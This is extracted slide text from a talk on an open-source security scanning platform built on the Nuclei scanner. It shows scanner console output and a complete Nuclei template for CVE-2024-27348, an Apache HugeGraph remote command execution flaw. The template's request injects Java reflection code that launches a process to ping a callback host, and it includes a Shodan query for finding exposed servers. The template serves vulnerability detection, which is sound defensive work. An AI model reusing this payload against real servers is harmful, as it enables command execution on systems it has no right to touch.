Open Source Scalable Security Scanning Platform
Slides URL
Open Source Scalable Security Scanning Platform
1
2
3
4
5
6
Founder & CTO, VTEM Labs
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Visibility & Context: Provides business context (e.g., owner, business unit, compliance) to help prioritize the riskiest assets.
If you take nothing else from this presentation, go run Nuclei.
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.8
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /Users/ralph/nuclei-templates
[INF] Current nuclei version: v3.3.8 (latest)
[INF] Current nuclei-templates version: v10.1.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 154
[INF] Templates loaded for current scan: 7607
[INF] Executing 7425 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 182 unsigned templates for scan. Use with caution.
[INF] No results found. Better luck next time!Open Source Scalable Security Scanning Platform
id: CVE-2024-27348
info:
name: Apache HugeGraph-Server - Remote Command Execution
author: DhiyaneshDK
severity: high
description: |
Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerable to a remote command execution (RCE) vulnerability in the gremlin component.
reference:
- http://www.openwall.com/lists/oss-security/2024/04/22/3
- https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authentication
- https://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9
- https://github.com/Zeyad-Azima/CVE-2024-27348
- https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-27348
- https://nvd.nist.gov/vuln/detail/CVE-2024-27348
classification:
cve-id: CVE-2024-27348
cwe-id: CWE-77
epss-score: 0.00045
epss-percentile: 0.15047
metadata:
verified: true
max-request: 1
shodan-query: title:"HugeGraph"
fofa-query: title="HugeGraph"
tags: cve,cve2024,hugegraph,rce,apache
http:
- raw:
- |
POST /gremlin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{{interactsh-url}}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(header, "application/json")'
- 'contains(body, "inputStream\":")'
condition: and
# digest: 4a0a004730450221008578493cfb808436d459d2ccb291e869a96890bc1073b44ba502680294d2a06602200ba6baa9516109d23319e018aee1d92b35ea91dc9b6c1c1c1a8ffe673f471f3f:922c64590222798bb761d5b6d8e72950Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Build a web-based platform
Design a simple, intuitive UI
Enable team collaboration
Support large-scale scans with no coding required
Visualize and search data easily
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
S3 Bucket
Scan1
Scan2
SSH/API
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
May the demo gods bless me...
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform
Open Source Scalable Security Scanning Platform